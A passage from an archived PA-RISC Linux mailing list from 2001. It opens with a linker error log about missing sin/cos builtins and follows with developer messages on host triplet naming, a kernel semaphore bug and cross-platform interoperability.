necg.o(.text+0x3290): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necg.o(.text+0x3290): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necg.o(.text+0x3290): cannot handle R_PARISC_PCREL17F for __builtin_cos
necg.o(.text+0x3300): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necg.o(.text+0x3300): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necg.o(.text+0x3300): cannot handle R_PARISC_PCREL17F for __builtin_cos
necg.o(.text+0x3324): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necg.o(.text+0x3324): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necg.o(.text+0x3324): cannot handle R_PARISC_PCREL17F for __builtin_sin
necg.o(.text+0x334c): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necg.o(.text+0x334c): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necg.o(.text+0x334c): cannot handle R_PARISC_PCREL17F for __builtin_cos
necg.o(.text+0x3378): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necg.o(.text+0x3378): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necg.o(.text+0x3378): cannot handle R_PARISC_PCREL17F for __builtin_sin
necg.o: In function `hintg_':
necg.o(.text+0x3c00): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necg.o(.text+0x3c00): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necg.o(.text+0x3c00): cannot handle R_PARISC_PCREL17F for __builtin_cos
necg.o(.text+0x3c0c): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necg.o(.text+0x3c0c): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necg.o(.text+0x3c0c): cannot handle R_PARISC_PCREL17F for __builtin_sin
nech.o: In function `hsflx_':
nech.o(.text+0x110): undefined reference to `__builtin_cos'
/usr/local/bin/ld: nech.o(.text+0x110): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: nech.o(.text+0x110): cannot handle R_PARISC_PCREL17F for __builtin_cos
nech.o(.text+0x11c): undefined reference to `__builtin_sin'
/usr/local/bin/ld: nech.o(.text+0x11c): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: nech.o(.text+0x11c): cannot handle R_PARISC_PCREL17F for __builtin_sin
necl.o: In function `move_':
necl.o(.text+0x518): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necl.o(.text+0x518): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necl.o(.text+0x518): cannot handle R_PARISC_PCREL17F for __builtin_sin
necl.o(.text+0x524): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necl.o(.text+0x524): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necl.o(.text+0x524): cannot handle R_PARISC_PCREL17F for __builtin_cos
necl.o(.text+0x530): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necl.o(.text+0x530): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necl.o(.text+0x530): cannot handle R_PARISC_PCREL17F for __builtin_sin
necl.o(.text+0x540): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necl.o(.text+0x540): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necl.o(.text+0x540): cannot handle R_PARISC_PCREL17F for __builtin_cos
necl.o(.text+0x564): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necl.o(.text+0x564): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necl.o(.text+0x564): cannot handle R_PARISC_PCREL17F for __builtin_sin
necl.o(.text+0x574): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necl.o(.text+0x574): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necl.o(.text+0x574): cannot handle R_PARISC_PCREL17F for __builtin_cos
necn.o: In function `L325':
necn.o(.text+0x1a54): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necn.o(.text+0x1a54): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necn.o(.text+0x1a54): cannot handle R_PARISC_PCREL17F for __builtin_sin
necn.o(.text+0x1a8c): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necn.o(.text+0x1a8c): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necn.o(.text+0x1a8c): cannot handle R_PARISC_PCREL17F for __builtin_cos
necn.o: In function `L440':
necn.o(.text+0x37b8): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necn.o(.text+0x37b8): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necn.o(.text+0x37b8): cannot handle R_PARISC_PCREL17F for __builtin_sin
necn.o(.text+0x37e0): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necn.o(.text+0x37e0): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necn.o(.text+0x37e0): cannot handle R_PARISC_PCREL17F for __builtin_cos
necn.o: In function `L444':
necn.o(.text+0x39b8): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necn.o(.text+0x39b8): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necn.o(.text+0x39b8): cannot handle R_PARISC_PCREL17F for __builtin_cos
necn.o(.text+0x39c4): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necn.o(.text+0x39c4): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necn.o(.text+0x39c4): cannot handle R_PARISC_PCREL17F for __builtin_sin
necn.o(.text+0x3a30): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necn.o(.text+0x3a30): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necn.o(.text+0x3a30): cannot handle R_PARISC_PCREL17F for __builtin_cos
necn.o(.text+0x3a3c): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necn.o(.text+0x3a3c): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necn.o(.text+0x3a3c): cannot handle R_PARISC_PCREL17F for __builtin_sin
necn.o: In function `__g77_masterfun_patch':
necn.o(.text+0x4930): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necn.o(.text+0x4930): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necn.o(.text+0x4930): cannot handle R_PARISC_PCREL17F for __builtin_cos
necn.o(.text+0x4944): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necn.o(.text+0x4944): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necn.o(.text+0x4944): cannot handle R_PARISC_PCREL17F for __builtin_cos
necn.o(.text+0x4954): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necn.o(.text+0x4954): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necn.o(.text+0x4954): cannot handle R_PARISC_PCREL17F for __builtin_sin
necn.o(.text+0x4964): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necn.o(.text+0x4964): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necn.o(.text+0x4964): cannot handle R_PARISC_PCREL17F for __builtin_sin
necp.o: In function `qdsrc_':
necp.o(.text+0xb0c): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necp.o(.text+0xb0c): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necp.o(.text+0xb0c): cannot handle R_PARISC_PCREL17F for __builtin_cos
necp.o(.text+0xb20): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necp.o(.text+0xb20): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necp.o(.text+0xb20): cannot handle R_PARISC_PCREL17F for __builtin_sin
necp.o: In function `L162':
necp.o(.text+0x20e8): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necp.o(.text+0x20e8): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necp.o(.text+0x20e8): cannot handle R_PARISC_PCREL17F for __builtin_cos
necp.o(.text+0x20fc): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necp.o(.text+0x20fc): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necp.o(.text+0x20fc): cannot handle R_PARISC_PCREL17F for __builtin_cos
necp.o: In function `L182':
necp.o(.text+0x2384): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necp.o(.text+0x2384): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necp.o(.text+0x2384): cannot handle R_PARISC_PCREL17F for __builtin_cos
necp.o(.text+0x2390): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necp.o(.text+0x2390): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necp.o(.text+0x2390): cannot handle R_PARISC_PCREL17F for __builtin_cos
necp.o: In function `L328':
necp.o(.text+0x2d40): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necp.o(.text+0x2d40): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necp.o(.text+0x2d40): cannot handle R_PARISC_PCREL17F for __builtin_cos
necp.o(.text+0x2d90): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necp.o(.text+0x2d90): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necp.o(.text+0x2d90): cannot handle R_PARISC_PCREL17F for __builtin_sin
necp.o(.text+0x2db8): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necp.o(.text+0x2db8): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necp.o(.text+0x2db8): cannot handle R_PARISC_PCREL17F for __builtin_cos
necr.o: In function `reflc_':
necr.o(.text+0xccc): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necr.o(.text+0xccc): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necr.o(.text+0xccc): cannot handle R_PARISC_PCREL17F for __builtin_cos
necr.o(.text+0xcd8): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necr.o(.text+0xcd8): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necr.o(.text+0xcd8): cannot handle R_PARISC_PCREL17F for __builtin_sin
necr.o: In function `sbf_':
necr.o(.text+0x1b80): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necr.o(.text+0x1b80): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necr.o(.text+0x1b80): cannot handle R_PARISC_PCREL17F for __builtin_sin
necr.o(.text+0x1b8c): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necr.o(.text+0x1b8c): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necr.o(.text+0x1b8c): cannot handle R_PARISC_PCREL17F for __builtin_cos
necr.o(.text+0x1d38): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necr.o(.text+0x1d38): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necr.o(.text+0x1d38): cannot handle R_PARISC_PCREL17F for __builtin_sin
necr.o(.text+0x1d44): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necr.o(.text+0x1d44): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necr.o(.text+0x1d44): cannot handle R_PARISC_PCREL17F for __builtin_cos
necr.o: In function `sflds_':
necr.o(.text+0x2428): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necr.o(.text+0x2428): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necr.o(.text+0x2428): cannot handle R_PARISC_PCREL17F for __builtin_cos
necr.o(.text+0x2434): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necr.o(.text+0x2434): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necr.o(.text+0x2434): cannot handle R_PARISC_PCREL17F for __builtin_sin
necr.o(.text+0x2954): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necr.o(.text+0x2954): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necr.o(.text+0x2954): cannot handle R_PARISC_PCREL17F for __builtin_sin
necr.o(.text+0x2d24): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necr.o(.text+0x2d24): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necr.o(.text+0x2d24): cannot handle R_PARISC_PCREL17F for __builtin_sin
necr.o(.text+0x2d80): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necr.o(.text+0x2d80): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necr.o(.text+0x2d80): cannot handle R_PARISC_PCREL17F for __builtin_cos
necs.o: In function `tbf_':
necs.o(.text+0x15d8): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necs.o(.text+0x15d8): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necs.o(.text+0x15d8): cannot handle R_PARISC_PCREL17F for __builtin_sin
necs.o(.text+0x15e4): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necs.o(.text+0x15e4): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necs.o(.text+0x15e4): cannot handle R_PARISC_PCREL17F for __builtin_cos
necs.o(.text+0x17fc): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necs.o(.text+0x17fc): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necs.o(.text+0x17fc): cannot handle R_PARISC_PCREL17F for __builtin_sin
necs.o(.text+0x1808): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necs.o(.text+0x1808): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necs.o(.text+0x1808): cannot handle R_PARISC_PCREL17F for __builtin_cos
necs.o: In function `unere_':
necs.o(.text+0x21c8): undefined reference to `__builtin_sin'
/usr/local/bin/ld: necs.o(.text+0x21c8): cannot find stub entry 00000038___builtin_sin+0
/usr/local/bin/ld: necs.o(.text+0x21c8): cannot handle R_PARISC_PCREL17F for __builtin_sin
necs.o(.text+0x21d4): undefined reference to `__builtin_cos'
/usr/local/bin/ld: necs.o(.text+0x21d4): cannot find stub entry 00000038___builtin_cos+0
/usr/local/bin/ld: necs.o(.text+0x21d4): cannot handle R_PARISC_PCREL17F for __builtin_cos
collect2: ld returned 1 exit status
make: *** [nec] Error 1




From - Thu Nov 08 21:16:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] configure --host=xx revisited
Date: Thu, 22 Mar 2001 21:20:29 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20010322212029.T5491@parcelfarce.linux.theplanet.co.uk>
References: <3AB9F2BC.33E89887@lufmech.rwth-aachen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619970 17001 80.91.229.3 (22 Nov 2014 01:32:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:50 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Markus Werle <markus@lufmech.rwth-aachen.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 22 14:20:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 007C24A19
	for <parisc-linux@parisc-linux.org>; Thu, 22 Mar 2001 14:20:31 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14gCVR-0002QZ-00; Thu, 22 Mar 2001 21:20:29 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3AB9F2BC.33E89887@lufmech.rwth-aachen.de>; from markus@lufmech.rwth-aachen.de on Thu, Mar 22, 2001 at 01:40:28PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10581

On Thu, Mar 22, 2001 at 01:40:28PM +0100, Markus Werle wrote:
> Hi !
> 
> during the last months I stumbled through the naming
> conventions of "host" used in configure scripts of
> gcc/binutils and other gnu packages.
> 
> I am looking for information about this naming convention.
> Some people got confused configuring gcc for hpux, because
> e.g. hppa-2.0w-etc. does not mean a 64-bit version.

hppa-foo -- 32 bit, pa 1.1
hppa2.0-foo -- 32 bit, pa 2.0
hppa2.0w-foo -- 64 bit

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FYI: kernel semaphore bug
Date: Thu, 22 Mar 2001 21:49:40 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20010322214940.U5491@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619970 17002 80.91.229.3 (22 Nov 2014 01:32:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:50 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 22 14:49:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7068E4A19
	for <parisc-linux@parisc-linux.org>; Thu, 22 Mar 2001 14:49:41 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14gCxg-0002y3-00
	for parisc-linux@parisc-linux.org; Thu, 22 Mar 2001 21:49:40 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10582

there's a minor problem that probably won't affect anyone which occurs
under rare conditions with contention on an N-way semaphore.  It will be
fixed by upgrading to 2.4.2 so I'm not going to put in a workaround.

for the curious:

P1: down()
P2: down()
P3: down() -- sleeps
P4: down() -- sleeps
P1: up() -- calls wake_up
P2: up() -- calls wake_up

wake_up will only wake P3 and not P4.  This is fixed in the wait_queue
rewrite in 2.4.2.  I could hack it by having P3 check whether the queue
still had tasks on it and the semaphore count was >0 and do a wake_up
itself in that case.  But I'm not going to do that.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The new FS of ESIEE Team is ready
Date: Thu, 22 Mar 2001 21:58:00 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20010322215800.V5491@parcelfarce.linux.theplanet.co.uk>
References: <3AB7AA9F.985576AA@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619970 17005 80.91.229.3 (22 Nov 2014 01:32:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:50 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>,
	Giacomo Mulas <gmulas@ca.astro.it>,
	=?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@EUROPAY.COM>,
	William Carlsson <william.carlsson@teligent.se>
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 22 14:58:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 156554A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Mar 2001 14:58:03 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14gD5k-00038V-00; Thu, 22 Mar 2001 21:58:00 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3AB7AA9F.985576AA@esiee.fr>; from marteaut@esiee.fr on Tue, Mar 20, 2001 at 08:08:15PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10583

On Tue, Mar 20, 2001 at 08:08:15PM +0100, Thomas Marteau wrote:
> Hi all,
> 
> 	The new FS is ready (~61MB). No "more" bugged with the good TERM parameter and
> no password :)
> It is a specially designed for 712 owners but it is a sane fs, we hope.
> 
> Please, go to our DL page: http://mkhppa1.esiee.fr/en/download.html

Another bug i found -- install-info doesn't work.  I suspect this is
perl's fault.  Anyway, to hack around it (because i really don't need
info pages being installed on my system, but i do need to install glibc),
i added an `exit 0;' near the beginning of the install-info script.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Interoperability
Date: Thu, 22 Mar 2001 17:54:36 -0700
Lines: 42
Approved: news@gmane.org
Message-ID: <200103230054.RAA24759@puffin.external.hp.com>
References: <o051yrqc7tg.fsf@debian.grenoble.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619971 17008 80.91.229.3 (22 Nov 2014 01:32:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Nicolas THOMAS <thomas@ispserv.grenoble.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 22 18:00:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id E58194A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Mar 2001 18:00:57 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id RAA24759;
	Thu, 22 Mar 2001 17:54:36 -0700
In-Reply-To: Your message of "22 Mar 2001 13:22:03 +0100."
             <o051yrqc7tg.fsf@debian.grenoble.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10584

Nicolas THOMAS wrote:
> Does anyone of you have references/URL/opinion.... on interoperabilty
> purpose?

Could you provide details on what you mean by "interoperability"?
(Or specific applications that you need to run if you don't need
to build them from scratch)

> The systems I would like to be able to interoperate are :
> - Linux x86
> - Linux PA-risc 32bits
> - Linux PA-risc 64bits
> - HP-UX 11 64bits

Obviously not all four can run the same application binaries.
I do expect a pretty good level of source compatibility (90%+).
On the PARISC OS's, even a degree of binary compatibility.

Provided details, I can forward things not covered by HPUX to the
right people (caveat: no guarantee they will get fixed...).  And
you are welcome to post patches for stuff in either 32 or 64-bit
parisc-linux kernels here.
(Or submit bug reports to bugs.parisc-linu.org.)


> I already know the STK: http://devresource.hp.com/STK/

Also try:
    http://devresource.hp.com/OpenSource/Tools/OpenSourceLib.html
         (I think this might be the same/related to the STK)
    http://devresource.hp.com/LPK/

The LPK (Linux Porting Kit) seems to be pretty good (though not perfect).

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Werle <markus@lufmech.rwth-aachen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] configure --host=xx revisited
Date: Fri, 23 Mar 2001 09:54:20 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <3ABB0F3C.45F3267A@lufmech.rwth-aachen.de>
References: <3AB9F2BC.33E89887@lufmech.rwth-aachen.de> <20010322212029.T5491@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619971 17011 80.91.229.3 (22 Nov 2014 01:32:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:51 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 23 01:54:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from lufmech.rwth-aachen.de (karman.lufmech.RWTH-Aachen.DE [134.130.177.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8927C4A19
	for <parisc-linux@parisc-linux.org>; Fri, 23 Mar 2001 01:54:29 -0700 (MST)
Original-Received: from lufmech.rwth-aachen.de (markus@mises.lufmech.RWTH-Aachen.DE [134.130.177.107]) by lufmech.rwth-aachen.de with ESMTP (8.7.1/8.7.1) id JAA29692; Fri, 23 Mar 2001 09:54:20 +0100 (MET)
Original-Sender: markus@lufmech.rwth-aachen.de
X-Mailer: Mozilla 4.5 [en] (X11; I; HP-UX B.10.20 9000/785)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10585

Matthew Wilcox wrote:

> hppa-foo -- 32 bit, pa 1.1
> hppa2.0-foo -- 32 bit, pa 2.0
> hppa2.0w-foo -- 64 bit

This is wrong, ding dong!
This is the reason I asked ...

AFAIK the "w" stands for wide mode hardware
which does _not_ always mean 64 bit.
I am aware of the fact that this naming convention has
asymmetries with hp cc manpage, but unfortuantely
my gcc configured for hppa2.0w-hp-hpux11.00 is a 32 bit.

Who can help further?





From - Thu Nov 08 21:16:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nicolas THOMAS <thomas@ispserv.grenoble.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Interoperability
Date: 23 Mar 2001 11:06:50 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <o051yrobxz9.fsf@debian.grenoble.hp.com>
References: <200103230054.RAA24759@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619971 17014 80.91.229.3 (22 Nov 2014 01:32:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 23 03:07:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gremg1.net.external.hp.com (grenmg1.net.external.hp.com [155.208.254.57])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5FACD4A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Mar 2001 03:07:19 -0700 (MST)
Original-Received: from concerto.grenoble.hp.com (concerto.grenoble.hp.com [15.128.15.118])
	by gremg1.net.external.hp.com (Postfix) with ESMTP id 2081231E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Mar 2001 11:07:03 +0100 (MET)
Original-Received: from debian.grenoble.hp.com (debian.grenoble.hp.com [15.128.129.155])
	by concerto.grenoble.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with ESMTP id LAA05820
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Mar 2001 11:06:57 +0100 (MET)
Original-Received: from thomas by debian.grenoble.hp.com with local (Exim 3.22 #1 (Debian))
	id 14gOT5-0007gp-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Mar 2001 11:06:51 +0100
In-Reply-To: <200103230054.RAA24759@puffin.external.hp.com>
Original-Lines: 28
User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley)
Original-Sender: Nicolas THOMAS <thomas@debian.grenoble.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10586

Grant Grundler <grundler@puffin.external.hp.com> writes:

> Nicolas THOMAS wrote:
> > Does anyone of you have references/URL/opinion.... on interoperabilty
> > purpose?
> 
> Could you provide details on what you mean by "interoperability"?
> (Or specific applications that you need to run if you don't need
> to build them from scratch)

The main goal is to be able to have a back-end on one host and a front-end 
on the other. Communication is done with the network (sockets).



> 
> > The systems I would like to be able to interoperate are :
> > - Linux x86
> > - Linux PA-risc 32bits
> > - Linux PA-risc 64bits
> > - HP-UX 11 64bits
> 
> Obviously not all four can run the same application binaries.
Of course :-)

Thanks for your help.

Nicolas




From - Thu Nov 08 21:16:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Robert Liesenfeld <xunil96@yahoo.com>
